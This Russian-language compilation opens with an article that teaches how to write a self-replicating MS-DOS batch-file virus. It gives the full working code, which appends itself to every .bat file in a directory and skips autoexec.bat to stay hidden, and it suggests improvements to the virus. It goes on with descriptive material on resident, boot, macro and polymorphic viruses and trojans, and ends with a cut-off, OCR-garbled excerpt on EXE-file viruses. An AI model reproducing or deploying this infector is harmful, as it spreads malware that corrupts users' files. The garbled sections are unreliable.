Автор - ПАРАЗИТ.
Многие знают, что такое пакетные (batch) файлы MS-DOS. Но возможно ли написание вирусов под них? В данной статье рассмотрен пример такого вируса.
Сразу оговорюсь, данный пример вируса не является уникальным и единственным, просто к данной реализации вируса пришел лично я, хотя похожие вирусы были придуманы до меня и имеют огромное количество разновидностей. Также статья рассчитана на "продвинутых" пользователей, которые имели хороший опыт написания и работы с пакетными файлами, хотя каждая команда вируса будет подробно рассмотрена.
Начнем с первых трудностей, которые возникают при идее написания полноценного вируса (внедряющего свой код в чужой):
Как код вируса и записывать в чужую программу (batch-файл)? Как проверить, не заражен ли уже файл?
Как заразить каждый batch файл в текущей директории?
Вирус, естественно, не должен заражать файл autoexec.bat
Как код вируса и записывать в чужую программу (batch-файл)?
Как проверить, не заражен ли уже файл?
Самый сложный вопрос. Действительно, каким образом выделить свой код и записать его в чужой?
Ничего определенного для версий MS-DOS ниже 6, я сказать не могу (а вы, наверняка, и не найдете версий старее), но именно в MS-DOS 6.22 фильтр FIND стал возвращать результаты своей работы в качестве кода возврата ERRORLEVEL. Именно эта возможность и является ключевой во всем вирусе.
Коды возврата у фильтра FIND следующие:
0 - поиск выполнен, найдено, по крайней мере, одно совпадение
1 - поиск выполнен, не найдено совпадений
2 - поиск не выполнен, ошибка при вызове.
Теперь мы можем использовать фильтр FIND для того, чтобы извлечь наш код вируса из уже зараженного файла для записи в новую жертву. Но для этого в каждой строке кода вируса должна быть специальная уникальная сигнатура, по которой мы и будем выделять себя.
Рассмотрим пример: echo Hello World | find "ld"
if errorlevel == 1 echo Сигнатура "ld" найдена.
if errorlevel == 0 echo Сигнатура "ld" не найдена.
В результате будет выведено сообщение о том, что сигнатура найдена (Hello World).
Точно таким же образом можно определить, заражен ли предполагаемый файл или нет. find "signature" < file.bat > nul
if errorlevel 1 goto infect
goto next
В данном случае, при отсутствии текста "signature" в файле file.bat будет сделан переход на метку infect, иначе переход на метку next.
Как заразить каждый batch файл в текущей директории?
Чтобы получить список всех batch-файлов воспользуемся внутренней командой FOR. for %%a in (*.bat) do ...
Тем самым в переменной %%a мы поочередно получим все .bat файлы в текущей директории. Но можно сделать лучше и расширить наш список файлов, путем добавления еше параметра ..\*.bat, благодаря которому мы получим список всех .bat файлов в родительской по отношению к нам директории. Но как же использовать данную переменную %%a? Ведь она имеет силу только в той же строчке, что и FOR, т.е. можно выполнить только одну команду с данной переменной.
Например, for %%a in (*.bat) echo FILE: %%a
выведет список всех файлов в текущей директории.
Поэтому, единственным способом обработать все файлы, является вызов другого batch файла с переданным параметром в качестве переменной %%a. Какой же должен быть этот файл? Этот файл мы можем создать сами, т.е. наш вирус, и этот же файл будет обрабатывать все переданные ему значения переменной %%a, заражая данные файлы кодом вируса. Для упрощения (хотя, скорее усложнения), пусть данный файл полностью будет состоять из кода нашего вируса, в котором будет содержаться блок по обработке переданных параметров (файлов для заражения).
Вирус, естественно, не должен заражать файл autoexec.bat
Заражать данный файл опасно, т.к. пользователю, хоть и иногда, но все же приходится его редактировать и естественно, он может обнаружить вирус. Поэтому будем просто проверять имя каждого заражаемого файла на autoexec.bat Но нельзя делать простое сравнение: if %1 == autoexec.bat goto next
Ведь сравнение строк идет с учетом регистра, а имя файла может быть записано по разному, например autoexec.BAT. Поэтому, мы здесь опять воспользуемся фильтром FIND, но с параметром /I, который указывает на поиск без учета регистра:
echo %1 | find /I "autoexec"
if not errorlevel 1 goto next
goto infect
Результаты
Давайте теперь объединим все блоки и получим работоспособный полноценный вирус:
В качестве сигнатуры нашего вируса возьмем 3 буквы: "dds"
Первое, что должен сделать вирус, это выключить ЭХО, не отобразив саму команду отключения эха, т.е. его выполнение должно пройти невидимым (п.1).
Т.к. мы решили, что внешний файл, заражающий другие, будет полностью состоять из кода нашего вируса, то необходимо в наш вирус добавить соответствующий блок, управление которому будет передаваться следующим образом: первый переданный параметр (%1) должен быть i (от infect), а вторым переданным параметром (%2) собственно файл-жертва для заражения. Поэтому следующим шагом будем проверять, не является ли первый переданный параметр i (п.2). Если да, то переходи на метку ddsI (п.7), к блоку заражения.
Возможно, зараженный нами batch-файл работает с переданными ему параметрами используя команду SHIFT, которая смешает значения переданных параметров влево. Тем самым, при одном единственном ее вызове, теряется первоначальное значение параметра %0, содержащее имя нашего файла. А без этого, мы не можем взять свой код вируса, поэтому дальнейшее выполнение вируса бесполезно (п.3) и мы переходи на метку ddsEnd.
Все основные проверки нами выполнены, теперь необходимо создать чистую копию нашего вируса в отдельном файле, который будет использоваться для заражения других batch-файлов (п.4). Таким файлом будет файл c:\dds.bat
Теперь попытаемся заразить каждый найденный batch-файл в текущей директории (п.5).
Вирус обработал все доступные ему batch-файлы, теперь его работа прекращена, переходим на метку ddsOff (п.6, п.18)
Удаляем следы нашего вируса, т.е. файл c:\dds.bat (п.19).
(п.7) - блок заражения
Прежде всего проверим, а передан ли нам 2-ой параметр, т.е. имя файла-жертвы? (п.8) Если нет, переходи на метку ddsEnd, т.е. выход (п.20)
Теперь проверим, не является ли наша жертва файлом autoexec.bat (п.9) Если есть намек на это (п.10), переходи на метку ddsEnd, т.е. выход (п.20)
Теперь проверим, не заражена ли уже наша жертва (п.11). Если да (п.12), переходи на метку ddsEnd, т.е. выход (п.20)
Все проверки выполнены, файл пригоден для заражения. Но перед записью нашего кода, необходимо в конец файла жертвы добавить пустую строку (п.13-15). Если этого не сделать, может получиться склейка последней команды жертвы и первой нашего вируса. Пример: echo Конец работы@echo off>nul.dds
Теперь добавим код нашего вируса в конец файла-жертвы (п.16).
Переходи на метку выхода ddsEnd (п.20).
@echo off>nul.dds
if %1.==i. goto ddsI
if not exist %0 goto ddsEnd
find "dds"<%0>c:\dds.bat
for %%a in (*.bat) do call c:\dds.bat i %%a
goto ddsOff
:ddsI
if %2.==. goto ddsEnd
echo %2 | find /I "autoexec">nul.dds
if not errorlevel 1 goto ddsEnd
find "dds"<%2>nul
if not errorlevel 1 goto ddsEnd
echo.>enter.dds
type enter.dds>>%2
del enter.dds>nul.dds
type c:\dds.bat>>%2
goto ddsEnd
:ddsOff
if exist c:\dds.bat del c:\dds.bat>nul
:ddsEnd
Недочеты
Данный пример создан для обучения и понятия основных принципов работы, поэтому содержит некоторые недочеты:
Плохая сигнатура. Лучше что-то вроде "#4sf52gu", чтобы она не встретилась случайно где-нибудь в файле-жертве.
Заражение. Проверка первого параметра на i, как сигнал к заражению неудачна, лучше сделать сложную цепочку параметров или передавать очень сложное (уникальное) значение, как в случае с сигнатурой.
Заражение. Проверка наличия второго параметра недостаточна. Желательно сделать еще проверку на наличие этого файла.
Это не недочет, а просто возможность. В Windows, по умолчанию, запрешено использование длинных имен файлов в команде FOR. Но есть недокументированная встроенная команда LFNFOR, которая исправляет это. Просто необходимо ее вызвать перед командой FOR с параметром ON: LFNFOR ON
Заключение
Автор ни в коем случае не призывает Вас к написанию вирусов. Данная статья написана только для Вашего саморазвития и более глубокого изучения возможностей batch-файлов операционной системы MS-DOS.
--------------------------------------------------------------------------------
РЕЗИДЕНТНЫЕ ВИРУСЫ http://school8.uriit.ru/people/av/resident.html
******************************
DOS предусматривает два легальных способа создания резидентных модулей: драйверами, указываемыми в CONFIG.SYS, и при помощи функции KEEP (INT 21h, AH=31h или INT 27h). Многие файловые вирусы для маскировки своего распространения используют другой способ - обработку системных областей, управляющих распределением памяти (MCB). Они выделяют для себя свободный участок памяти (включая UMB), помечают его как занятый и переписывают туда свою копию. Некоторые вирусы внедряют свои TSR-копии в свободные участки памяти в таблице векторов прерываний, в видео-память, в рабочие области DOS, в память, отведенную под системные буферы и в HMA-память. Подробнее эти способы описаны в разделе "Обнаружение резидентного вируса".
После выделения блока памяти вирус копирует в него своей код и переопределяет одно или несколько прерываний, необходимых ему для поиска заражаемых файлов, для выполнения деструктивных действий или звуковых и видеоэффектов.
При инфицировании файлов нерезидентные и некоторые резидентные вирусы ищут на диске (дисках) эти файлы при помощи функций DOS FindFirst и FindNext (INT 21h, AH=11h,12h,4Eh,4Fh). Резидентные вирусы используют более широкий список функций DOS, при обращении к которым происходит заражение файла. Фактически в этом списке присутствуют все функции, по значениям входных или выходных параметров которых можно определить имя файла, к которому идет обращение (к таким параметрам относятся значения соответствующих регистров или областей памяти). В результате к "вирусоопасным" функциям прерывания 21h относятся функции выполнения (EXEC, AX=4B00), загрузки в память (AH=4Bh), поиска (FindFirst и FindNext, AH=11h,12h,4Eh,4Fh) создания (Create, AH=3Ch), открытия (Open, AH=3Dh), закрытия (Close, AH=3Eh), изменения атрибутов (ChMode, AH=43h), переименования (Rename, AH=56h), и некоторые другие функции работы с файлами.
Известны несколько способов проверки резидентным вирусом наличия своей копии в памяти компьютера. Первый заключается в том, что вирус вводит новую функцию некоторого прерывания, действие которой заключается в возврате значения "я здесь". При старте вирус обращается к ней, и если возвращенное значение совпадает со значением "я здесь", значит память компьютера уже заражена и повторное заражение не производится. При проверке вторым способом вирус записывает значение "я здесь" в какую-либо редко используемую область памяти - в таблице векторов прерываний или в области данных BIOS (0040:00??). При последующих стартах зараженных программ вирус проверяет это значение и не вызывает процедуру заражения памяти. Существуют, конечно же и другие способы, например, некоторые вирусы просто сканирует память компьютера.
Некоторые резидентные файловые вирусы (как правило, вирусы, созданные при помощи конструкторов типа VCL и PS-MPC) определяют свою TSR-копию некорректно и копируют себя в оперативную память при каждом запуске зараженного файла. Естественно, что в этом случае компьютер либо сразу зависает, либо через некоторое время перестает выполнять программы по причине нехватки свободной памяти.
***********
Загрузочные вирусы
Подявляющее большинство резидентных загрузочных вирусов для выделения системной памяти для своей резидентной копии использует один и тот же прием: они уменьшают объем DOS-памяти (слово по адресу 0040:0013) и копируют свой код в "отрезанный" блок памяти. Объем DOS-памяти обычно уменьшается на единицу (один килобайт) в случае коротких загрузочных вирусов, код которых занимает один сектор дискового пространства (512 байт). Вторая половина килобайта используется такими вирусами как буфер чтения/записи при заражении дисков. Если же размер вируса больше одного килобайта или он использует нестандартные методы заражения, требующие большего объема буфера чтения/записи, объем памяти уменьшается на несколько килобайт (среди известных вирусов максимальное значение у вируса "RDA.Fighter" - 30K).
В дальнейшем некоторые вирусы "ждут" загрузки DOS и восстанавливают первоначальное значение объема системной памяти - в результате они оказываются расположенными не за пределами DOS, а как отдельный блок DOS-памяти. Некоторые загрузочные вирусы вообще не используют и не изменяют значение объема системной памяти. Они копируют себя в какую-либо область памяти, неиспользуемую вплоть до загрузки DOS, ждут загрузки DOS и затем инсталлируют свой код в системе всеми возможными в DOS способами.
Такими вирусами используются несколько способов перехвата момента загрузки DOS. Наиболее "популятный" способ - проверка значения INT 21h (прерывание DOS-функций). Если это значение изменилось, вирусы считают, что инсталляция DOS завершена. Проверка значения INT 21h проводится при вызовах INT 8, 1Ch (прерывания таймера, для этого вирусы помимо прерываний обращения к дискам перехватывают также прерывания таймера) или при вызовах INT 13h. Менее популярный способ - проверка данных, считываемых с диска (для этого требуется только перехват INT 13h). Если буффер чтения содержит заголовок EXE-файла, вирусы считают, что загрузка DOS завершена, поскольку в память для выполнения загружается EXE-файл.
Для того, чтобы перехватить обращения к дискам, большинство загрузочных вирусов перехватывают INT 13h - основное прерывание для работы с дисками. Реже используется перехват INT 40h - прерывание для работы с флоппи-дисками. Еще реже используются различные экзотические способы перехвата прерываний BIOS и DOS, возникающих при работе с дискетами.
В случае перехвата INT 13h/40h вирусы обрабатывают команды чтения/записи секторов (AH=2,3), проверяют диск на зараженность и записывают в его загрузочный сектор или MBR винчестера свой код. Реже перехватываются другие команды - от команды Reset Disk (AH=0) вплоть до команд "длинного" чтения/записи (AH=0Ah,0Bh).
Большая часть загрузочных вирусов не проверяет системную память на наличие своей уже установленной TSR-копии - они либо используют стелс-приемы и повторный запуск кода вируса невозможен, либо ориентируются на то, что кода вируса загружается однократно в момент загрузки DOS - после этого коды загрузочных секторов дисков больше не выполняются ни при каких условиях. Часть вирусов проверяют наличие своей копии - для этого используются либо специальные вызовы INT 13h с каким-либо нестандартным значением, либо помечается какой-либо заведомо неиспользуемый байт (или слово) в таблице векторов прерываний или в области данных BIOS (0040:00??). Существуют, конечно же, и другие способы детектирования своей TSR-копии.
Windows-вирусы
Для того, чтобы оставить выполняемый код в памяти Windows, существует три способа, причем все три способа (за исключением Windows NT) уже применялись различными вирусами.
Самый простой способ - зарегистрировать программу как одно из приложений, работающих в данный момент. Для этого программа регистрирует свою задачу, окно которой может быть скрытым, регистрирует свой обработчик системных событий и т.д. Второй способ - выделить блок системной памяти при помощи DPMI-вызовов и скопировать в него свой код (вирус "Ph33r"). Третий способ - остаться резидентно как VxD-драйвер (Wnidows 3.xx и Windows95) или как драйвер Windows NT.
Перехват обращений к файлам производится одним из двух способов - либо перехватываются вызовы INT 21h (Hook_V86_Int_Chain, Get/Set_V86_Int_Vector, Get/Set_PM_Int_Vector), либо перехватывается системный вызов API. Затем резидентные Windows-вирусы действуют примерно также, как и DOS-вирусы: перехватывают обращения к файлам и заражают их.
Для обнаружения уже присутствующей в памяти резидентной копии используются примерно те же способы, что описаны выше, за исключением VxD-вирусов. Известные VxD-вирусы загружаются в память при загрузке Windows. Для этого они записывают команду запуска в файл конфигурации Windows SYSTEM.INI. Если в этом файле уже есть команда запуска вирусного VxD-файла, то вирус не производит повторной регистрации своего VxD-файла.
Макро-вирусы
Большинство макро-вирусов можно считать резидентными, поскольку они присутствуют в области системных макросов в течение всего времени работы редактора. Они так же как резидентные загрузочные и файловые вирусы перехватывают системные события и используют их для своего размножения. К подобным событиям относятся различные системные вызовы, возникающие при работе с документами Word и таблицами Excel (открытие, закрытие, создание, печать и т.д.), вызов пункта меню, нажатие на какую-либо клавишу или достижение какого-либо момента времени. Для перехвата событий макро-вирусы переопределяют один или несколько системных макросов или функций.
При заражении некоторые макро-вирусы проверяют наличие своей копии в заражаемом объекте и повторно себя не копируют. Другие макро-вирусы не делают этого и переписывают свой код при каждом заражении. Если при этом в заражаемом файле или области системных макросов уже определен макрос, имя которого совпадает с макросом вируса, то такой макрос оказывается уничтоженным.
*****************************************************************************************
Троянские кони (логические бомбы)
К троянским коням относятся программы, наносящие какие-либо разрушительные действия, т.е. в зависимости от каких-либо условий или при каждом запуске уничтожающая информацию на дисках, "завешивающая" систему и т.п.
Большинство известных мне троянских коней являются программами, которые "подделываются" под какие-либо полезные программы, новые версии популярных утилит или дополнения к ним. Очень часто они рассылаются по BBS-станциям или электронным конференциям. По сравнению с вирусами "троянские кони" не получают широкого распространения по достаточно простым причинам - они либо уничтожают себя вместе с остальными данными на диске, либо демаскируют свое присутствие и уничтожаются пострадавшим пользователем.
К "троянским коням" также можно отнести "дропперы" вирусов - зараженные файлы, код которых подправлен таким образом, что известные версии антивирусов не определяют вируса в файле. Например, файл шифруется каким-либо специальным образом или упаковывается редкоиспользуемым архиватором, что не позволяет антивирусу "увидеть" заражение.
Следует отметить также "злые шутки" (hoax). К ним относятся программы, которые не причиняют компьютеру какого-либо прямого вреда, однако выводят сообщения о том, что такой вред уже причинен, либо будет причинен при каких-либо условиях, либо предупреждают пользователя о несуществующей опасности. К "злым шуткам" отностяся, например, программы, которые "пугают" пользователя сообщениями о форматировании диска (хотя никакого форматирования на самом деле не происходит), детектируют вирусы в незараженных файлах (как это делает широко известная программа ANTITIME), выводят странные вирусоподобные сообщения (драйвер диска CMD640X от какого-то коммерческого пакета) и т.д. - в зависимости от чувства юмора автора такой программы. Видимо, к "злым шуткам" относится также строка "CHOLEEPA" во втором секторе винчестеров фирмы Seagate.
К такой же категории "злых шуток" можно отнести также заведомо ложные сообщения о новых супер-вирусах. Такие сообщения периодически появляются в электронных конференциях и обычно вызывают панику среди пользователей.
Intended-вирусы
К таким вирусам относятся программы, которые на первый взгляд являются стопроцентными вирусами, но не способны размножаться по причине ошибок. Например, вирус, который при заражении "забывает" поместить в начало файлов команду передачи управления на код вируса, либо записывает в нее неверный адрес своего кода, либо неправильно устанавливает адрес перехватываемого прерывания (что в подавляющем большинстве случаев завешивает компьютер) и т.д.
К категории "intended" также относятся вирусы, которые по приведенным выше причинам размножаются только один раз - из "авторской" копии. Заразив какой-либо файл, они теряют способность к дальнейшему размножению.
Появляются intended-вирусы чаще всего при неумелой перекомпиляции какого-либо уже существующего вируса, либо по причине недостаточного знания языка программирования, либо по причине незнания технических тонкостей операционной системы.
Конструкторы вирусов
Конструктор вирусов - это утилита, предназначенная для изготовления новых компьютерных вирусов. Известны конструкторы вирусов для DOS, Windows и макро-вирусов. Они позволяют генерировать исходные тексты вирусов (ASM-файлы), объектные модули, и/или непосредственно зараженные файлы.
Некоторые конструктороы (VLC, NRLG) снабжены стандартным оконным интерфейсом, где при помощи системы меню можно выбрать тип вируса, поражаемые объекты (COM и/или EXE), наличие или отсутствие самошифровки, противодействие отладчику, внутренние текстовые строки, выбрать эффекты, сопровождающие работу вируса и т.п. Прочие конструкторы (PS-MPC, G2) не имеют интерфейса и считывают информацию о типе вируса из конфигурационного файла.
Полиморфные генераторы
Полиморфик-генераторы, как и конструкторы вирусов, не являются вирусами в прямом смысле этого слова, поскольку в их алгоритм не закладываются функции размножения, т.е. открытия, закрытия и записи в файлы, чтения и записи секторов и т.д. Главной функцией подобного рода программ является шифрование тела вируса и генерация соответствующего расшифровщика.
Обычно полиморфные генераторы распространяются их авторами без ограничений в виде файла-архива. Основным файлом в архиве любого генератора является объектный модуль, содержащий этот генератор. Во всех встречавшихся генераторах этот модуль содержит внешнюю (external) функцию - вызов программы генератора.
Таким образом автору вируса, если он желает создать настоящий полиморфик-вирус, не приходится корпеть над кодами собственного за/расшифровщика. При желании он может подключить к своему вирусу любой известный полиморфик-генератор и вызывать его из кодов вируса. Физически это достигается следующим образом: объектный файл вируса линкуется с объектным файлом генератора, а в исходный текст вируса перед командами его записи в файл вставляется вызов полиморфик-генератора, который создает коды расшифровщика и шифрует тело вируса.
*************************************************
Уровни полиморфизма
Существует деление полиморфик-вирусов на уровни в зависимости от сложности кода, который встречается в расшифровщиках этих вирусов. Такое деление впервые предложил д-р. Алан Соломон, через некоторое время Весселин Бончев расширил его.
Уровень 1: вирусы, которые имеют некоторый набор расшифровщиков с постоянным кодом и при заражении выбирают один из них. Такие вирусы являются "полу-полиморфиками" и носят также название "олигоморфик" (oligomorphic). Примеры: "Cheeba", "Slovakia", "Whale".
Уровень 2: расшифровщик вируса содержит одну или несколько постоянных инструкций, основная же его часть непостоянна.
Уровень 3: расшифровщик содержит неиспользуемые инструкции - "мусор" типа NOP, CLI, STI и т.д.
Уровень 4: в расшифровщике используются взаимозаменяемые инструкции и изменение порядка следование (перемешивание) инструкций. Алгоритм расшифрования при этом не изменяется.
Уровень 5: используются все перечисленные выше приемы, алгоритм расшифрования непостоянен, возможно повторное шифрование кода вируса и даже частичное шифрование самого кода расшифровщика.
Уровень 6: permutating-вирусы. Изменению подлежит основной код вируса - он делится на блоки, которые при заражении переставляются в произвольном порядке. Вирус при этом остается работоспособным. Подобные вирусы могут быть незашифрованы.
Приведенное выше деление не свободно от недостатков, поскольку производится по единственному критерию - возможность детектировать вирус по коду расшифровщика при помощи стандартного приема вирусных масок:
Уровень 1: для детектирования вируса достаточно иметь несколько масок
Уровень 2: детектирование по маске с использованием "wildcards"
Уровень 3: детектирование по маске после удаления инструкций-"мусора"
Уровень 4: маска содержит несколько вариантов возможного кода, т.е. становится алгоритмической
Уровень 5: невозможность детектирования вируса по маске
Недостаточность такого деления продемонстрирована в вирусе 3-го уровня полиморфичности, который так и называется - "Level3". Этот вирус, являясь одним из наиболее сложных полиморфик-вирусов, по приведенному выше делению попадает в Уровень 3, поскольку имеет постоянный алгоритм расшафровки, перед которым стоит большое количество команд-"мусора". Однако в этом вирусе алгоритм генерирования "мусора" доведен до совершенства: в коде расшифровщика могут встретиться практически все инструкции процессора i8086.
Если произвести деление на уровни с точки зрения антивирусов, использующих системы автоматической расшифровки кода вируса (эмуляторы), то деление на уровни будет зависеть от сложности эмуляции кода вируса. Возможно детектирование вируса и другими приемами, например, расшифровка при помощи элементарных математических законов и т.д.
Поэтому мне кажется более объективным деление, в котором помимо критерия вирусных масок участвуют и другие параметры.
1. Степень сложности полиморфик-кода (процент от всех инструкций процессора, которые могут встретиться в коде расшифровщика)
2. Использование анти-эмуляторных приемов
3. Постоянство алгоритма расшифровщика
4. Постоянство длины расшифровщика
Изменение выполняемого кода
Наиболее часто подобный способ полиморфизма используется макро-вирусами, которые при создании своих новых копий случайным образом меняют имена своих переменных, вставляют пустые строки или меняют свой код каким-либо иным способом. Таким образом алгоритм работы вируса остается без изменений, но код вируса практически полностью меняется от заражения к заражению.
Реже этот способ применяется сложными загрузочными вирусами. Такие вирусы внедряют в загрузочные сектора лишь достаточно короткую процедуру, которая считывает и диска основной код вируса и передает на него управление. Код этой процедуры выбирается из нескольких различных вариантов (которые также могут быть разбавлены "пустыми" командами), команды переставляются между собой и т.д.
Еще реже этот прием встречается у файловых вирусов - ведь им приходится полностью менять свой код, а для этого требуются достаточно сложные алгоритмы. На сегодняшний день известны всего два таких вируса, один из которых ("Ply") случайным образом перемещает свои команды по своему телу и заменяет их на команды JMP или CALL. Другой вирус ("TMC") использует более сложный способ - каждый раз при заражении вирус меняет местами блоки своего кода и данных, вставляет "мусор", в своих ассемблерных инструкциях устанавлявает новые значения оффсетов на данные, меняет константы и т.д. В результате, хотя вирус и не шифрует свой код, он является полиморфик-вирусом - в коде не присутствует постоянного набора команд. Более того, при создании своих новых копий вирус меняет свою длину.
**************************************
Вирусы можно разделить на классы по следующим основным признакам:
среда обитания;
операционная система (OC);
особенности алгоритма работы;
деструктивные возможности.
По СРЕДЕ ОБИТАНИЯ вирусы можно разделить на:
файловые;
загрузочные;
макро;
сетевые.
Файловые вирусы либо различными способами внедряются в выполняемые файлы (наиболее распространенный тип вирусов), либо создают файлы-двойники (компаньон-вирусы), либо используют особенности организации файловой системы (link-вирусы).
Загрузочные вирусы записывают себя либо в загрузочный сектор диска (boot-сектор), либо в сектор, содержащий системный загрузчик винчестера (Master Boot Record), либо меняют указатель на активный boot-сектор.
Макро-вирусы заражают файлы-документы и электронные таблицы нескольких популярных редакторов.
Сетевые вирусы используют для своего распространения протоколы или команды компьютерных сетей и электронной почты.
Существует большое количество сочетаний - например, файлово-загрузочные вирусы, заражающие как файлы, так и загрузочные сектора дисков. Такие вирусы, как правило, имеют довольно сложный алгоритм работы, часто применяют оригинальные методы проникновения в систему, используют стелс и полиморфик-технологии. Другой пример такого сочетания - сетевой макро-вирус, который не только заражает редактируемые длокументы, но и рассылает свои копии по электронной почте.
Заражаемая ОПЕРАЦИОННАЯ СИСТЕМА (вернее, ОС, объекты которой подвержены заражению) является вторым уровнем деления вирусов на классы. Каждый файловый или сетевой вирус заражает файлы какой-либо одной или нескольких OS - DOS, Windows, Win95/NT, OS/2 и т.д. Макро-вирусы заражают файлы форматов Word, Excel, Office97. Загрузочные вирусы также ориентированы на конкретные форматы расположения системных данных в загрузочных секторах дисков.
Среди ОСОБЕННОСТЕЙ АЛГОРИТМА РАБОТЫ вирусов выделяются следующие пункты:
резидентность;
использование стелс-алгоритмов;
самошифрование и полиморфичность;
использование нестандартных приемов.
РЕЗИДЕНТНЫЙ вирус при инфицировании компьютера оставляет в оперативной памяти свою резидентную часть, которая затем перехватывает обращения операционной системы к объектам заражения и внедряется в них. Резидентные вирусы находятся в памяти и являются активными вплоть до выключения компьютера или перезагрузки операционной системы. Нерезидентные вирусы не заражают память компьютера и сохраняют активность ограниченное время. Некоторые вирусы оставляют в оперативной памяти небольшие резидентные программы, которые не распространяют вирус. Такие вирусы считаются нерезидентными.
Резидентными можно считать макро-вирусы, посколько они постоянно присутствуют в памяти компьютера на все время работы зараженного редактора. При этом роль операционной системы берет на себя редактор, а понятие "перезагрузка операционной системы" трактуется как выход из редактора.
В многозадачных операционных системах время "жизни" резидентного DOS-вируса также может быть ограничено моментом закрытия зараженного DOS-окна, а активность загрузочных вирусов в некоторых операционных системах ограничивается моментом инсталляции дисковых драйверов OC.
Использование СТЕЛС-алгоритмов позволяет вирусам полностью или частично скрыть себя в системе. Наиболее распространенным стелс-алгоритмом является перехват запросов OC на чтение/запись зараженных объектов. Стелс-вирусы при этом либо временно лечат их, либо "подставляют" вместо себя незараженные участки информации. В случае макро-вирусов наиболее популярный способ - запрет вызовов меню просмотра макросов. Один из первых файловых стелс-вирусов - вирус "Frodo", первый загрузочный стелс-вирус - "Brain".
САМОШИФРОВАНИЕ и ПОЛИМОРФИЧНОСТЬ используются практически всеми типами вирусов для того, чтобы максимально усложнить процедуру детектирования вируса. Полиморфик-вирусы (polymorphic) - это достаточно труднообнаружимые вирусы, не имеющие сигнатур, т.е. не содержащие ни одного постоянного участка кода. В большинстве случаев два образца одного и того же полиморфик-вируса не будут иметь ни одного совпадения. Это достигается шифрованием основного тела вируса и модификациями программы-расшифровщика.
Различные НЕСТАНДАРТНЫЕ ПРИЕМЫ часто используются в вирусах для того, чтобы как можно глубже спрятать себя в ядре OC (как это делает вирус "3APA3A"), защитить от обнаружения свою резидентную копию (вирусы "TPVO", "Trout2"), затруднить лечение от вируса (например, поместив свою копию в Flash-BIOS) и т.д.
По ДЕСТРУКТИВНЫМ ВОЗМОЖНОСТЯМ вирусы можно разделить на:
безвредные, т.е. никак не влияющие на работу компьютера (кроме уменьшения свободной памяти на диске в результате своего распространения);
неопасные, влияние которых ограничивается уменьшением свободной памяти на диске и графическими, звуковыми и пр. эффектами;
опасные вирусы, которые могут привести к серьезным сбоям в работе компьютера;
очень опасные, в алгоритм работы которых заведомо заложены процедуры, которые могут привести к потере программ, уничтожить данные, стереть необходимую для работы компьютера информацию, записанную в системных областях памяти, и даже, как гласит одна из непроверенных компьютерных легенд, способствовать быстрому износу движущихся частей механизмов - вводить в резонанс и разрушать головки некотоорых типов винчестеров.
Но даже если в алгоритме вируса не найдено ветвей, наносящих ущерб системе, этот вирус нельзя с полной уверенностью назвать безвредным, так как проникновение его в компьютер может вызвать непредсказуемые и порой катастрофические последствия. Ведь вирус, как и всякая программа, имеет ошибки, в результате которых могут быть испорчены как файлы, так и сектора дисков (например, вполне безобидный на первый взгляд вирус "DenZuk" довольно корректно работает с 360K дискетами, но может уничтожить информацию на дискетах большего объема). До сих пор попадаются вирусы, определяющие "COM или EXE" не по внутреннему формату файла, а по его расширению. Естественно, что при несовпадении формата и расширения имени файл после заражения оказывается нерабтоспособным. Возможно также "заклинивание" резидентного вируса и системы при использовании новых версий DOS, при работе в Windows или с другими мощными программными системами. И так далее.
*******************************************
http://ncorostov.iatp.ru/-doc/NCO-3.doc --- СПРАВКА В ДОКЕ
***********************************************************8
ЕХЕ-ВИРУСЫ В этой главе рассказано о ви- русах, заражающих ЕХЕ-фай- лы. Приведена классифика- ция таких вирусов, подробно рассмотрены алгоритмы их работы, отличия между ними, достоинства и недо- статки. Для каждого типа вирусов представлены исход- ные тексты с подробными комментариями. Также приве- . дены основные сведения о структуре и принципах ра- боты ЕХЕ-программы. СОМ-файлы (небольшие программы, написанные в основном на языке Assembler) медленно, но верно устаревают. Им на смену приходят пуга- ющие своими размерами ЕХЕ-"монстры". Появились и вирусы, умею- щие заражать ЕХЕ-файлы. Структура и процесс загрузки ЕХЕ-программы В отличие от СОМ-программ, ЕХЕ-программы могут состоять из не- скольких сегментов (кодов, данных, стека). Они могут занимать боль- ше 64Кбайт. ЕХЕ-файл имеет заголовок, который используется при его загрузке. Заголовок состоит из форматированной части, содержащей сигнатуру и данные, необходимые для загрузки ЕХЕ-файла, и таблицы для на- стройки адресов (Relocation Table). Таблица состоит из значений в фор- мате сегмент:смещение. К смещениям в загрузочном модуле, на которые указывают значения в таблице, после загрузки программы в память дол- жен быть прибавлен сегментный адрес, с которого загружена программа. При запуске ЕХЕ-программы системным загрузчиком (вызовом функ- ции DOS 4Bh) выполняются следующие действия: 1. Определяется сегментный адрес свободного участка памяти, размер которого достаточен для размещения программы. 2. Создается и заполняется блок памяти для переменных среды. 3. Создается блок памяти для PSP и программы (сегментЮОООЬ - PSP; сегмент+ООЮЬЮОООЬ - программа). В поля PSP заносятся соответ- ствующие значения. 4. Адрес DTA устанавливается равным PSP:0080h. 5. В рабочую область загрузчика считывается форматированная часть заголовка ЕХЕ-файла. 6. Вычисляется длина загрузочного модуля по формуле: Si7.e=((PageCnt*5i2)-(HdrSae*i6))-Pa!tP3ig. 7. Определяется смещение загрузочного модуля в файле, равное HdrSize*16. 8. Вычисляется сегментный адрес (START_SEG) для загрузки - обычно это PSP+lOh. 9. Считывается в память загрузочный модуль (начиная с адреса START_SEG:0000). 10. Для каждого входа таблицы настройки: a) читаются слова I_OFF и I_SEG; b) вычисляется RELC^SEG-START^SEG+LSEG; c) читается слово по адресу RELO_SEG:I_OFF; d) к прочитанному слову прибавляется START_SEG; e) результат запоминается по тому же адресу (RELO_SEG:I_OFF). 11. Распределяется память для программы в соответствии с МахМет и МтМет. 12. Инициализируются регистры, выполняется программа: a) ES=DS°PSP; b) АХ=результат проверки правильности идентификаторов драйве- ров, указанных в командной строке; c) SS°START_SEG+ReloSS, SP-ExeSP; d) CS=START_SEG+ReloCS, IP=ExeIP. Классификация ЕХЕ-вирусов ЕХЕ-вирусы условно можно разделить на группы, используя в качестве признака для деления особенности алгоритма. Вирусы, замещающие программный код (Overwrite) Такие вирусы уже стали раритетом. Главный их недостаток - слишком грубая работа. Инфицированные программы не исполняются, так как вирус записывается поверх программного кода, не сохраняя его. При запуске вирус ищет очередную жертву (или жертвы), открывает найден- ный файл для редактирования и записывает свое тело в начало про- граммы, не сохраняя оригинальный код. Инфицированные этими виру- сами программы лечению не подлежат. Вирусы-спутники (Companion) Эти вирусы получили свое название из-за алгоритма размножения: к каждому инфицированному файлу создается файл-спутник. Рассмот- рим более подробно два типа вирусов этой группы: Вирусы первого типа 